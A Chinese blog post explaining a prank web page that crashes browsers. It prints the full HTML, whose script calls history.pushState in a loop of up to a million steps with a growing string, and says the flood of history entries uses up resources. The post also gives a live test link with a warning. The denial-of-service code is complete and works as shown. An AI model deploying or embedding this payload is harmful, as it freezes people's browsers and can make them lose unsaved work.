B
Published on
· Last modified on
· Public

解析那些让浏览器崩溃甚至电脑死机的javascript代码

最近在群里看到网友分享的链接,打开一看电脑卡死,只能关机作罢!
代码如下:

<html> <head> <meta charset="utf-8"> <title>谁点谁怀孕</title> </head>     <body> 恭喜你,你已经怀孕了! <script> var total=""; for (var i=0;i<1000000;i++) {     total= total+i.toString();     history.pushState(0,0,total); } </script>     </body> </html>

如上代码,首先声明total变量,然后一个for死循环,不断给total赋值,同时用history.pushState来无刷新改变页面,轰炸浏览器历史记录,最终达到资源不断耗尽.
 
无数浏览器历史记录:

解析那些让浏览器崩溃甚至电脑死机的javascript代码


测试地址:http://zhilan.net/no.html  (慎重!如需进入请保存好当前文档!)
注意以上代码在本地运行无效,必须上传服务器.

Sign in or Sign up Leave Comment